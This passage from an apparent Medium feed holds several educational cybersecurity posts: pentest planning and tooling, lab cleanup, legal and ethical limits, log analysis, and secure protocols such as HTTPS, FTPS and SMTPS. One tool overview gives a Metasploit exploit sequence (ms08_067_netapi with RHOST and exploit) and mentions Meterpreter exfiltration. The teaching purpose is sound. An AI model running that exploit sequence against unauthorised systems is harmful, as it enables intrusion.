view of the packet’s data.</li><li><strong>Interpreting Data</strong>:</li><li><strong>Protocols</strong>: Identify the protocol used (e.g., TCP, HTTP, DNS).</li><li><strong>Source and Destination Addresses</strong>: Locate the IP addresses involved in the communication.</li><li><strong>Port Numbers</strong>: Recognize which ports are being used for the communication.</li><li><strong>Packet Details</strong>: Explore individual packet details for deeper insights.</li></ul><h3>Key Functionalities:</h3><ul><li><strong>Live Capture and Offline Analysis</strong>: Examine live traffic or analyze previously captured traffic.</li><li><strong>Protocol Analysis</strong>: Detailed inspection of various protocols.</li><li><strong>VoIP Analysis</strong>: Tools for analyzing voice over IP calls.</li></ul><p>Wireshark is a powerful tool for understanding and analyzing network traffic. Its proper use requires not only technical knowledge but also a strong commitment to ethical and legal standards. By respecting these boundaries, you can effectively utilize Wireshark for troubleshooting, learning, and enhancing network security.</p><h3>Creating a Test Plan</h3><p>Creating your own test environment for penetration testing (pentesting) and developing a comprehensive test plan is a crucial step in ensuring the security and robustness of your systems. Here’s a detailed overview of the components of a test plan and the different types of pentests: black box, white box, and grey box testing.</p><h3>Developing a Pentesting Test Plan</h3><h3>1. Objective Setting</h3><ul><li><strong>Identify Key Assets</strong>: Determine which parts of your network, system, or application are most critical. For instance, focus on customer databases, internal communication systems, or financial records.</li><li><strong>Define Success Criteria</strong>: Establish what a successful test would look like. This could include discovering a certain number of vulnerabilities or ensuring that critical assets are robust against specific attack vectors.</li><li><strong>Compliance and Standards</strong>: If applicable, align your objectives with industry standards like ISO 27001, PCI DSS, or HIPAA to ensure compliance.</li></ul><h3>2. Scope Definition</h3><ul><li><strong>Network and System Boundaries</strong>: Clearly delineate the boundaries of the network and systems to be tested. Decide whether to include external-facing services, internal networks, or both.</li><li><strong>Non-Target Assets</strong>: Explicitly list out-of-scope elements, such as certain servers or databases, to avoid accidental disruption.</li><li><strong>Timeframe</strong>: Set a specific time-frame for the pentest to occur, ensuring it doesn’t clash with critical business operations.</li></ul><h3>3. Methodology Outline</h3><ul><li><strong>Choose Testing Techniques</strong>: Decide on the techniques to be used, like social engineering, physical penetration testing, or technical exploitation.</li><li><strong>Automated vs. Manual Testing</strong>: Balance between automated tools (like vulnerability scanners) and manual techniques (like code review or phishing simulations).</li><li><strong>Attack Simulation</strong>: Plan to simulate specific attack scenarios, such as a targeted phishing campaign or a DDoS attack, to test the response and resilience of your systems.</li></ul><h3>4. Resource Allocation</h3><ul><li><strong>Team Composition</strong>: Assemble a team with diverse skills — ethical hackers, network analysts, software engineers, etc.</li><li><strong>Tool Selection</strong>: Identify and procure necessary tools — penetration testing frameworks (like Metasploit), vulnerability scanners, custom scripts, etc.</li><li><strong>Budget Considerations</strong>: Allocate a budget for tools, resources, and potential system downtime.</li></ul><h3>5. Risk Assessment</h3><ul><li><strong>Identify Potential Impacts</strong>: Assess the potential impact of the pentest on business operations, such as downtime, data loss, or system instability.</li><li><strong>Mitigation Strategies</strong>: Develop strategies to mitigate identified risks, like scheduling tests during off-peak hours or having backup systems in place.</li></ul><h3>6. Legal and Compliance Considerations</h3><ul><li><strong>Legal Permissions</strong>: Obtain written permission from relevant stakeholders or management.</li><li><strong>Compliance Review</strong>: Ensure the testing methods comply with legal and regulatory requirements, like data protection laws.</li><li><strong>Ethical Guidelines</strong>: Establish ethical guidelines to ensure testing is responsible and respects privacy and data security.</li></ul><h3>7. Reporting and Follow-up Plan</h3><ul><li><strong>Documentation</strong>: Plan to document all findings, methodologies used, and vulnerabilities identified.</li><li><strong>Remediation Recommendations</strong>: Include detailed recommendations for addressing each identified vulnerability.</li><li><strong>Re-Testing</strong>: Schedule follow-up tests to verify that vulnerabilities have been effectively mitigated.</li></ul><h3>Types of Pentests</h3><h4>Black Box Testing</h4><ul><li>The tester has no prior knowledge of the infrastructure or systems they are testing. It simulates an external hacking or cyber warfare attack.</li><li>Relies on publicly available information and external testing.</li><li>Simulates a real-world attack scenario; identifies vulnerabilities in public-facing applications.</li><li>Can be time-consuming; may not uncover internal vulnerabilities.</li></ul><h4>White Box Testing</h4><ul><li>The tester has full knowledge of the infrastructure, including network diagrams, source code, and credentials. It’s akin to testing with insider knowledge.</li><li>Comprehensive testing of internal and external aspects of the system.</li><li>Thorough and detailed; identifies both internal and external vulnerabilities.</li><li>Time-intensive; may not reflect real-world attack scenarios.</li></ul><h4>Grey Box Testing</h4><ul><li>A hybrid approach where the tester has some knowledge about the system, more than black box but less than white box.</li><li>Combines elements of both black and white box testing to provide a balanced perspective.</li><li>Provides a realistic scenario; efficient in terms of time and resources.</li><li>May not be as thorough as white box or as blind as black box testing.</li></ul><h3>Executing Various Pentest Methodologies</h3><p>Let’s go over the practical aspects of conducting tests in penetration testing, focusing on executing various methodologies, identifying and exploiting vulnerabilities, and documenting findings. Each section we will briefly describe one tool, which will be beneficial to that specific stage of the penetration test.</p><h4>1. Reconnaissance</h4><ul><li><strong>Tool</strong>: <a href="https://nmap.org/">Nmap</a></li><li><strong>Purpose</strong>: Discover open ports and services running on those ports, great for identifying a network and understanding it better.</li><li><strong>Example</strong>: nmap -sV target_ip to scan for open ports and service versions.</li></ul><h4>2. Vulnerability Assessment</h4><ul><li><strong>Tool</strong>: <a href="https://www.tenable.com/products/nessus">Nessus</a></li><li><strong>Purpose</strong>: Automated scanning for known vulnerabilities.</li><li><strong>Example</strong>: Set up Nessus, update the vulnerability database, and run a scan against the target network.</li></ul><h4>3. Web Application Testing</h4><ul><li><strong>Tool</strong>: <a href="https://portswigger.net/burp">Burp Suite</a></li><li><strong>Purpose</strong>: Identify vulnerabilities in web applications, great for any stage of a web application pentest.</li><li><strong>Example</strong>: Use Burp Suite to spider a website, then perform an active scan to find vulnerabilities like SQL injection, XSS, etc.</li></ul><h4>4. Password Cracking</h4><ul><li><strong>Tool</strong>: <a href="https://github.com/openwall/john">John the Ripper</a></li><li><strong>Purpose</strong>: Crack weak passwords.</li><li><strong>Example</strong>: Use John with a wordlist to attempt to crack password hashes obtained during the reconnaissance phase. We have an entire module on password cracking which is beneficial to go back to.</li></ul><h4>5. Network Sniffing</h4><ul><li><strong>Tool</strong>: <a href="https://www.wireshark.org/">Wireshark</a></li><li><strong>Purpose</strong>: Capture and analyze network traffic.</li><li><strong>Example</strong>: Monitor network traffic on a specific interface to capture data packets.</li></ul><h3>Identifying and Exploiting Vulnerabilities</h3><h4>1. Exploitation Frameworks</h4><ul><li><strong>Tool</strong>: <a href="https://www.metasploit.com/">Metasploit Framework</a></li><li><strong>Purpose</strong>: Exploit known vulnerabilities.</li><li><strong>Example</strong>: Use Metasploit to exploit a specific vulnerability found during the assessment phase. For instance, use exploit/windows/smb/ms08_067_netapi followed by set RHOST target_ip and exploit.</li></ul><h4>2. Manual Exploitation</h4><ul><li><strong>Approach</strong>: Research and apply exploit code manually.</li><li><strong>Example</strong>: If a specific vulnerability (e.g., a SQL injection in a web application) is identified, manually test and exploit it using SQL commands or scripts.</li></ul><h4>3. Post-Exploitation</h4><ul><li><strong>Tool</strong>: <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter.html">Meterpreter</a> (within Metasploit)</li><li><strong>Purpose</strong>: Perform actions on compromised systems.</li><li><strong>Example</strong>: Once a system is compromised, use Meterpreter to explore the system, escalate privileges, or exfiltrate data.</li></ul><h3>Documenting Findings and Preparing Reports</h3><h4>1. Recording Tools</h4><ul><li><strong>Tool</strong>: <a href="https://www.giuspen.net/cherrytree/">CherryTree</a>, <a href="https://www.notion.so/">Notion</a>, <a href="https://obsidian.md/">Obsidian</a>, etc.</li><li><strong>Purpose</strong>: Keep organized notes during the pentest.</li><li><strong>Example</strong>: Log every step, command used, and output during the pentest. Include screenshots where relevant.</li></ul><h4>2. Report Generation</h4><ul><li><strong>Approach</strong>: Prepare a structured report.</li><li><strong>Elements</strong>: Introduction, methodology, findings (with severity ratings), evidence/screenshots, and recommendations for each finding.</li><li><strong>Example</strong>: Use a report template and fill in the details of each phase of the pentest, including any vulnerabilities found and how they were exploited.</li></ul><h4>3. Automated Reporting Tools</h4><ul><li><strong>Tool</strong>: <a href="https://github.com/dradis/dradis-ce">Dradis</a> or <a href="https://faradaysec.com/generate-report/">Faraday</a></li><li><strong>Purpose</strong>: Assist in organizing and presenting findings.</li><li><strong>Example</strong>: Import scan results from tools like Nmap, Nessus, or Burp Suite into Dradis to help structure the final report.</li></ul><p><strong>Cleanup and Restoration Guide</strong></p><p>Cleaning up and restoring a virtual machine (VM) post-penetration testing is crucial to maintain a controlled, repeatable environment for future tests.</p><h3>1. Plan for Cleanup Before Testing</h3><ul><li><strong>Snapshot Creation</strong>: Always create a snapshot of your VM before starting a pentest. This snapshot serves as a restore point to quickly revert the VM to its pre-test state.</li><li><strong>Documentation</strong>: Keep detailed records of all actions taken during the test. This helps identify what needs to be reversed during cleanup.</li></ul><h3>2. Data and Log Cleaning</h3><ul><li><strong>Clear Test Data</strong>: Delete any files, data, and logs created during testing. This includes temporary files, exploit payloads, and any user accounts or backdoors you created.</li><li><strong>Log Analysis</strong>: Review the VM’s logs to identify any traces left by your activities. Clear or overwrite logs if necessary, but ensure this aligns with your organization’s policies on log handling.</li></ul><h3>3. Removing Tools and Artifacts</h3><ul><li><strong>Uninstall Tools</strong>: Remove any tools, scripts, or software you installed on the VM for testing purposes.</li><li><strong>Check for Residual Artifacts</strong>: Ensure no artifacts are left behind. This might include checking scheduled tasks, startup programs, or system services you modified.</li></ul><h3>4. Network Isolation and Analysis</h3><ul><li><strong>Isolate the VM</strong>: Before cleanup, isolate the VM from the network to prevent any unintended interactions with other systems.</li><li><strong>Network Configuration</strong>: Reset any changes made to the network configuration, such as firewall rules, port forwarding settings, or simulated network conditions.</li></ul><h3>5. Restoring the Virtual Machine</h3><ul><li><strong>Use Snapshots</strong>: Revert the VM to the snapshot taken before the pentest. This is the most straightforward way to restore its original state.</li><li><strong>Manual Reversion</strong>: If snapshots aren’t used, manually undo changes based on your documentation. This can be time-consuming and less reliable.</li></ul><h3>6. Verify Restoration</h3><ul><li><strong>Consistency Check</strong>: Ensure the VM is in the expected state post-restoration. Compare the current state with the expected state documented before the test.</li><li><strong>Test Basic Functions</strong>: Run basic functionality tests to ensure the VM is operating correctly.</li></ul><h3>7. Security Scans Post-Cleanup</h3><ul><li><strong>Re-scan</strong>: Use vulnerability scanners to ensure no new vulnerabilities were introduced during the cleanup process.</li><li><strong>Integrity Monitoring</strong>: Use file integrity monitoring tools to confirm that critical files have not been altered unexpectedly.</li></ul><h3>8. Documentation and Reporting</h3><ul><li><strong>Update Documentation</strong>: Record the cleanup process, any issues encountered, and the final state of the VM.</li><li><strong>Reporting</strong>: If required, prepare a report detailing the cleanup and restoration process for accountability and future reference.</li></ul><h3>9. Automation of Cleanup Process</h3><ul><li><strong>Scripting</strong>: Develop scripts to automate parts of the cleanup process, especially if testing regularly. This could include scripts to delete specific files, uninstall tools, or revert settings.</li><li><strong>Configuration Management Tools</strong>: Consider using tools like Ansible, Puppet, or Chef to manage VM configurations, making it easier to revert changes.</li></ul><h3>10. Preparing for the Next Test</h3><ul><li><strong>Lesson Learned</strong>: Review the entire process to identify any improvements for future tests.</li><li><strong>Update Baseline</strong>: If necessary, update your baseline snapshot to reflect any intentional changes to the VM environment that should persist for future tests.</li></ul><h3>Legal and Ethical Considerations</h3><p>Legal and ethical considerations are paramount in penetration testing to ensure that the activities are conducted responsibly, legally, and without causing unintended harm. Here’s an overview of these considerations:</p><h3>Obtaining Explicit Permission</h3><ul><li><strong>Importance</strong>: The cornerstone of legal penetration testing is obtaining explicit, written permission from the owner of the system or network. This permission should outline the scope, limitations, and methods of the penetration test.</li><li><strong>Example</strong>: Consider a scenario where a security firm is hired to test a bank’s online transaction system. The firm must have a detailed contract that specifies the extent of the test, such as which servers can be probed and what types of attacks can be simulated.</li></ul><h3>Respecting Privacy</h3><ul><li><strong>Handling Sensitive Data</strong>: During a penetration test, testers might encounter sensitive personal or corporate data. It’s paramount to handle this data ethically, respecting privacy and adhering to data protection laws.</li><li><strong>Hypothetical Situation</strong>: If a tester inadvertently accesses customer records containing personal information, they must not disclose, modify, or misuse this data. The incident should be reported to the client, and the data must be securely handled according to agreed-upon protocols.</li></ul><h3>Maintaining Confidentiality</h3><ul><li><strong>Non-Disclosure</strong>: Testers often need to sign NDAs or similar agreements to ensure that any confidential information uncovered during the test remains secure.</li><li><strong>Real-World Implication</strong>: Breaching confidentiality can lead to legal consequences, damage the tester’s reputation, and harm the client’s business.</li></ul><h3>Implications of the <a href="https://www.nacdl.org/Landing/ComputerFraudandAbuseAct">Computer Fraud and Abuse Act</a> (CFAA)</h3><ul><li><strong>Legal Framework</strong>: The CFAA in the United States, and similar laws in other countries, make unauthorized access to computer systems a criminal offense. Penetration testers must operate within the bounds of authorization to avoid legal repercussions.</li><li><strong>Scenario</strong>: Accessing additional systems not covered in the agreement, even if vulnerabilities are discovered, can be deemed illegal under the CFAA.</li></ul><h3>Ethical Practices in Pentesting</h3><ul><li><strong>Protecting the Tester</strong>: Ethical practices ensure that testers don’t inadvertently engage in illegal activities. They provide a clear framework within which testers can operate safely.</li><li><strong>Upholding System Integrity</strong>: Ethical pentesting respects the integrity of the client’s systems. For instance, avoiding DoS attacks during testing ensures that business operations are not disrupted.</li><li><strong>Building Trust</strong>: Ethical practices build trust between the tester, their clients, and the wider community. This trust is crucial for the long-term success and credibility of the tester.</li></ul><h3>Advanced Topics</h3><p>Moving to more advanced scenarios, including scripting for automation and simulating more complex attack vectors.</p><h3>Scripting for Automation in Pentests</h3><h4>Enhancing Efficiency and Effectiveness:</h4><ul><li><strong>Automated Scans and Analysis</strong>: Scripting allows for automated scanning of networks and systems, and the analysis of results. This automation saves time and ensures that repetitive tasks are performed accurately.</li><li><strong>Custom Exploit Development</strong>: Sometimes, existing tools don’t have the necessary exploits or payloads. Scripting can be used to develop custom exploits tailored for specific vulnerabilities or environments.</li></ul><h4>Common Scripting Languages:</h4><ul><li><strong>Python</strong>: Widely used due to its simplicity and extensive library support. Python is great for creating custom tools, automating tasks, and processing data.</li><li><strong>Bash</strong>: Useful for quick and efficient automation of command-line tasks in Unix/Linux environments.</li><li><strong>PowerShell</strong>: Essential in Windows environments for automating tasks and managing systems.</li><li><strong>Ruby</strong>: Often used in conjunction with Metasploit, a popular penetration testing framework.</li></ul><h3>Simulating Complex Attack Vectors</h3><h4>Advanced Persistent Threats (APTs):</h4><ul><li><strong>Characteristics</strong>: APTs involve continuous, stealthy, and sophisticated hacking processes to gain access to a system and remain inside for a prolonged period.</li><li><strong>Simulation</strong>: Simulating APTs involves creating scenarios where the tester uses stealth techniques, maintains persistent access, and escalates privileges without detection.</li></ul><h4>Social Engineering Tactics:</h4><ul><li><strong>Incorporating Human Element</strong>: Social engineering targets the human element of security. It involves tactics like phishing, pretexting, baiting, etc.</li><li><strong>Simulation</strong>: This may involve sending phishing emails to employees, making pretexting calls, or testing physical security through tailgating.</li></ul><h4>Multi-Layered Network Attacks:</h4><ul><li><strong>Complexity</strong>: These attacks involve a series of steps targeting different layers of the network. It might include initial penetration, lateral movement, privilege escalation, and exfiltration.</li><li><strong>Simulation</strong>: Requires a thorough understanding of the network architecture and the ability to exploit vulnerabilities across different layers and systems.</li></ul><h3>Aligning with Legal and Ethical Considerations</h3><ul><li><strong>Compliance</strong>: Advanced techniques, especially APT simulations and social engineering, must strictly adhere to the legal boundaries set forth in our previous discussion. For example, social engineering tactics should be used only with explicit permission and within the scope of the agreed-upon pentesting contract.</li><li><strong>Ethical Implications</strong>: Using these advanced techniques carries a higher risk of unintended consequences, such as accidentally compromising sensitive data or disrupting essential services. Hence, maintaining ethical integrity by ensuring minimal disruption and respecting data privacy is critical.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b88ec28434ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Log analysis: A strategic guide to cyberdefense.]]></title>
            <link>https://medium.com/@pavandeepkaur3/log-analysis-a-strategic-guide-to-cyberdefense-e77ad3084c28?source=rss-ee33663a866d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e77ad3084c28</guid>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[security-services]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Pavandeep Kaur]]></dc:creator>
            <pubDate>Thu, 05 Jun 2025 16:47:38 GMT</pubDate>
            <atom:updated>2025-06-05T16:47:38.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2Ln0J2tJOZN8E-LUKXQnA.png" /></figure><h3>What Is Log Analysis?</h3><p>At its core, log analysis is the process of collecting, monitoring, and interpreting log data from a variety of sources — applications, servers, networks, and more. These logs are digital footprints, recording events that occur within your systems. When analyzed effectively, they reveal patterns, pinpoint anomalies, and provide actionable insights that keep your IT ecosystem secure and efficient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yme76LgEqTc_pXzIW9xL5g.png" /></figure><h3>Why Is Log Analysis Important in Cybersecurity?</h3><p>The logs are not just ordinary records. It is an important part of your cyber security strategy. Here’s why:</p><ul><li>Threat Detection: Logs help you detect anomalies like repeated failed login attempts, unauthorized access, or unusual data transfers that could signify a breach.</li><li>Regulatory Compliance: Many regulations, including GDPR and HIPAA, demand detailed log tracking and auditing. Logs ensure you stay compliant and prepared for audits.</li><li>Operational Efficiency: By analyzing logs, you can uncover system inefficiencies, misconfigurations, or bottlenecks that impact performance.</li><li>Swift Incident Response: Logs act like breadcrumbs, allowing you to trace the origin and timeline of incidents for rapid resolution.</li></ul><h3>Common Use Cases of Log Analysis</h3><p>Threat Detection: Catch phishing attempts, malware, and insider threats before they wreak havoc.<br>Performance Optimization: Analyze server loads and network latency to ensure smooth operations.<br>Compliance Audits: Demonstrate observe to legal and regulatory standards with detailed records.<br>Incident Response: When an issue arises, use logs to retrace steps, identify vulnerabilities, and strengthen your defenses.</p><p>As you’ve seen, logs hold the key to uncovering both opportunities and threats within your systems. But where do these logs come from, and how can you make sense of the flood of information they provide? Let’s dive into the different sources of logs and the unique insights they offer.</p><h3>Log Sources and Types of Logs: Unveiling the Digital Tapestry</h3><p>Not all logs are created equal, and that’s a good thing. Imagine trying to solve a puzzle where every piece is identical — it would be impossible! Similarly, different types of logs provide distinct insights, helping you paint a complete picture of your IT environment. From tracking user activities to monitoring network traffic, let’s explore the diverse world of logs and their unique contributions to cybersecurity.</p><h3>Application Logs: A Window into Software</h3><p>Every time an app crashes, misbehaves, or delivers a flawless user experience, it’s recorded in an application log. These logs are like a journal that captures the inner workings of software. They reveal:</p><ul><li>Errors and Crashes: Identifying glitches that need immediate attention.</li><li>User Interactions: Tracking user behavior, which can expose misuse or inefficiencies.</li><li>API Calls: Monitoring integrations with other systems to detect security or performance gaps.</li></ul><p>Why They Matter: Application logs are the first responders in troubleshooting software issues. If an app goes down, these logs point you in the right direction to fix it.</p><h3>Network Logs: The Highway Patrol of IT</h3><p>Think of your network logs as traffic reports for your digital highways. They track every bit of data moving in and out, ensuring smooth and secure operations. Key insights include:</p><ul><li>Traffic Spikes: Detecting Distributed Denial of Service (DDoS) attacks or other unusual activities.</li><li>Bandwidth Monitoring: Ensuring network efficiency and preventing bottlenecks.</li><li>Packet Inspection: Spotting malicious payloads hidden within data streams.</li></ul><p>Why They Matter: In a world where cyberattacks often begin with network vulnerabilities, these logs are crucial for identifying and addressing threats before they escalate.</p><h3>Security Logs: Your Cyber Watchdog</h3><p>If network logs are the highway patrol, security logs are the watchdogs of your IT ecosystem. They focus on activities that could compromise your systems, such as:</p><ul><li>Failed Login Attempts: Highlighting potential brute-force attacks.</li><li>Firewall Alerts: Indicating unauthorized access attempts.</li><li>Policy Violations: Detecting users or applications straying from established protocols.</li></ul><p>Why They Matter: Security logs are the cornerstone of intrusion detection and prevention systems (IDPS). They help ensure your defenses are not just up but actively protecting.</p><h3>Server and Database Logs: Guardians of Your Core</h3><p>Servers and databases are the beating heart of any IT infrastructure. Their logs keep tabs on their health and security, revealing:</p><ul><li>Unauthorized Queries: Identifying potential data breaches.</li><li>Performance Metrics: Highlighting downtimes, errors, or hardware issues.</li><li>Configuration Changes: Tracking alterations to prevent accidental or malicious missteps.</li></ul><p>Why They Matter: Server and database logs ensure the continuity of business-critical systems, protecting both operational integrity and sensitive data.</p><h3>Endpoint Logs: The Last Mile</h3><p>Endpoint devices — laptops, smartphones, and IoT gadgets — are often the entry point for cyber threats. Endpoint logs capture activities such as:</p><ul><li>Software Installations: Monitoring for unauthorized or risky programs.</li><li>USB Usage: Detecting potential data exfiltration attempts.</li><li>Patch Updates: Verifying compliance with security protocols.</li></ul><p>Why They Matter: Endpoint logs bridge the gap between network-level security and user-level behaviors, providing a crucial layer of defense.</p><h3>Cloud Service Logs: Security Beyond the Perimeter</h3><p>With cloud computing becoming the backbone of modern businesses, cloud service logs are indispensable. They offer insights into:</p><ul><li>Access Controls: Monitoring who is accessing your cloud resources.</li><li>File Transfers: Detecting suspicious uploads or downloads.</li><li>Service Outages: Identifying and troubleshooting cloud-based disruptions.</li></ul><p>Why They Matter: Cloud service logs provide visibility into a domain that’s often considered a black box, ensuring your off-premises assets are as secure as your on-premises ones.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e77ad3084c28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Security Protocols]]></title>
            <link>https://medium.com/@pavandeepkaur3/network-security-protocols-d7577618248b?source=rss-ee33663a866d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7577618248b</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[protocols-and-servers]]></category>
            <category><![CDATA[internet]]></category>
            <dc:creator><![CDATA[Pavandeep Kaur]]></dc:creator>
            <pubDate>Tue, 03 Jun 2025 18:21:35 GMT</pubDate>
            <atom:updated>2025-06-03T18:21:35.385Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*2yFUaSEV9Nx5oW6fc7gIsQ.jpeg" /></figure><h4>Technical Overview — HTTPS and HTTP</h4><p>Hypertext Transfer Protocol Secure (HTTPS) is a client-server protocol; responsible for securely sending data between a web server (website) and a web browser (client side). It is an encrypted variant of HTTP which sends data in an unencrypted format.</p><h4>Request and Response — HTTP</h4><p>An HTTP request is made by a user agent (a browser or any other application sending requests through a web API (Application Programming Interface)). It is vice versa in the case of response. This request aims to access some resources on the remote web server, which is then responded to by the web server. The figure below shows a web browser sending an HTTP request to a web server, listening at TCP port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m3v_JstquHWX_NQj.png" /></figure><p>The request might be GET to request a web page, an image, or a file. Other HTTP requests include PUT and POST, which send data to the web server, such as a value or a file. You can read more about HTTP in the <a href="https://tryhackme.com/room/httpindetail">HTTP in Detail</a> room.</p><p>If an attacker can capture the network packets between the client and the server communicating over HTTP, they will be able to read their content as it is sent in cleartext.</p><h4>Request and Response — HTTPS</h4><p>After our quick review of the HTTP request and response workflow, it is convenient to learn about HTTPS. Remember that the “S” in HTTPS is for the extra SSL/TLS layer of encryption added over HTTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FDnIFXTOOkUypnuf.png" /></figure><p>Even if an attacker can capture the network packets between the client and the server communicating over HTTPS, they will fail to read the contents of the TCP data due to encryption.</p><h4>Encryption Mechanism of HTTPS</h4><p>As already mentioned, SSL/TLS provides the encryption layer of HTTPS. It relies on asymmetric encryption (public key cryptography) and symmetric encryption. Asymmetric encryption uses two keys, i.e., public key and private key; its rule is to negotiate the symmetric encryption algorithm and the secret key. The default port of HTTPS is 443. Encryption protects against interception and alteration of data, maintaining the confidentiality and integrity of exchanged traffic.</p><h3>FTPS Protocol</h3><h4>File Transfer Protocol Secure (FTPS) is a communication protocol which is a refined and secure version of File Transfer Protocol (FTP).</h4><p>FTP was designed as a client-server model; separate control/command and data connections between a client and a server are used, along with a username and password. In FTP, both authentication and data transfer take place in an unencrypted form between the client and the server; however, in FTPS, an encrypted channel is established.</p><h4>Request and Response — FTP</h4><p>As described earlier, FTP is based on the client-server model. It utilizes the following two communication channels between the client and the server.</p><ul><li><strong>Control Connection:</strong> In this connection, an FTP client sends a connection request (authentication) to the remote FTP server at the default FTP port, TCP port 21. As the name implies, a control connection is used for sending and receiving commands and responses.</li><li><strong>Data Connection:</strong> After authentication, this connection is used for transferring data (files and folders).</li></ul><h4>FTP Connection Types</h4><p>FTP has two modes:</p><ol><li>Active modes</li><li>Passive mode</li></ol><p>Active Mode</p><p>In active connection mode, the client establishes the control connection to send commands/authentication parameters to the server. After authentication and upon the client’s request to initiate data transfer, the server establishes the data connection to the client to transfer the data. In brief:</p><ol><li>The FTP client connects to the FTP server at TCP port 21 to establish a command connection.</li><li>The FTP server connects to the FTP client at TCP port 20 to establish a data connection.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gQEE_q3uqn86Ont8.png" /></figure><p>It is worth mentioning that this type of connection is unsuitable in an environment where the client is behind a firewall, as it will block incoming connections to the client. In the case of a client behind a firewall, a passive connection would be necessary.</p><p>Passive Mode</p><p>In passive connection mode, the client establishes the control and data connections. The client sends the PASV command to the server over the command channel; the server sends a random port to the client. As soon as the client receives the port number, the client establishes a connection to the provided port number so that the server can initiate the data transfer to the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1H4ULEsr7tHE0-gn.png" /></figure><p>This type of connection works well when the client is behind the firewall.</p><h4>FTP Data Types</h4><p>When data exchange between client and server takes place, the following type of data types are used:</p><ul><li><strong>ASCII/Type A</strong>: This is the default type and is used for text file transfers. If necessary, data is converted into 8-bit ASCII before transmission and then converted back upon reception.</li><li><strong>Image/Type I</strong>: This is commonly referred to as the binary mode. It uses byte-by-byte transmission. The recipient stores the received bytes upon reception.</li><li><strong>EBCDIC/Type E</strong>: It is suitable for text communication using the EBCDIC character set.</li><li><strong>Local Type L n:</strong> It is typically used for file transfer among machines that do not support 8-bit bytes transfer. Here n is a second parameter that represents byte size.</li></ul><h4>Request and Response — FTPS</h4><p>As the name implies, FTPS is an extension of FTP. It adds an encryption layer to transmit command and data channels between client and server securely. The following two methods are used to invoke security:</p><ul><li><strong>Implicit Connection</strong>: In this connection, FTPS client and server establish a link in which both command and data channels are secured automatically with SSL encryption.</li><li><strong>Explicit Connection</strong>: The FTP client explicitly requests the server to invoke an SSL/TLS secured session on port 21 and then continue data transfer based on a mutually agreed authentication mechanism. With explicit connection, you can choose which channel to encrypt by choosing among three modes of communication for control and data channel, i.e., control only encrypted, data only encrypted and both control and data encrypted.</li></ul><p>The standard port for FTP and Explicit FTPS is 21, whereas it is 990 in the case of Implicit FTPS. Adding FTPS protects against sniffing attacks against login information and data.</p><h3>SMTPS Protocol</h3><p>Simple Mail Transfer Protocol Secure (SMTPS) is an extension of SMTP, which is used for email communication. We should not confuse SMTP with POP3. Although both are used for email communication, SMTP is an “Email Push Protocol” used to transfer email messages from the client to the server. POP3 is used to download email messages from the server to the client.</p><h4>SMTP Protocol</h4><p>As described earlier, SMTP is an “Email Push Protocol” commonly used to transfer emails from an SMTP client to an SMTP server. SMTP is implemented in the following two models:</p><ul><li><strong>SMTP End-to-End:</strong> This model is used for email communication between organizations. In this model, the sender-side SMTP client initiates an SMTP connection to the recipient’s SMTP server.</li><li><strong>SMTP Store-and-Forward:</strong> This model is used for email communication within an organization. In this model, the SMTP server will maintain the copy of the mail within itself (i.e., store) until the copy is forwarded to the receiver.</li></ul><h4>SMTP Components</h4><p>To understand the workflow of SMTP, we will study the following essential components of SMTP:</p><ul><li><strong>User Agent (UA):</strong> UA is responsible for creating the email message and sending it to the Mail Transfer Agent (MTA).</li><li><strong>Mail Transfer Agent (MTA):</strong> MTA will transfer the email from the UA to the recipient MTA across the Internet (often, the MTA and Mail Delivery Agent are hosted on the same server).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wb9CiwkA_sunqXMB.png" /></figure><h4>TLS Process in SMTPS</h4><p>SMTPS is not a proprietary protocol; instead, it wraps SMTP inside TLS. You can say that SMTPS is similar to SMTP on the application layer, with an extension of TLS encryption at the transport layer. For encryption, the STARTTLS command is used between the email client and the email server.</p><p>Port 587 and 465 are both frequently used for SMTPS traffic. Mails transmitted using SMTP are not encrypted, so they are prone to sniffing attacks. Therefore, SMTPS is used to encrypt emails through TLS before transmission. In addition, SMTPS also forbid attackers from sending spam messages from compromised/vulnerable domains, exfiltration sensitive information, and conducting phishing attacks.</p><h3>POP3S Protocol</h3><p>Post Office Protocol Secure (POP3S) is an extension of the POP3 protocol; it is used for the encrypted retrieval of email messages from the email server to the email client.</p><h4>POP3 Protocol</h4><p>In the previous section, we explored how SMTPS is used for secure email transmission. SMTP is not responsible for retrieving email messages; here, POP3 comes into play. POP3 is the latest POP version; it retrieves email messages from a Mail Delivery Agent (MDA) to a Mail User Agent (MUA).</p><h4>POP3 Components and Workflow</h4><ol><li>The email client establishes a connection to the email server.</li><li>The email client downloads all the queued emails from the email server. (This is a default option; however, the client can select only particular email messages to download.)</li><li>All emails are saved on the device that initiated the connection.</li><li>The email server deletes the email copy. (This is a default option; a client can choose not to download an email after it is retrieved.)</li></ol><h4>Limitations of POP3</h4><ul><li><strong>Emails are Processed Locally:</strong> No synchronization of email messages across multiple devices. Protocol downloads the emails on the currently logged-in device and usually deletes them from the server.</li><li><strong>Transmission in clear text:</strong> The username and password, along with the email messages, 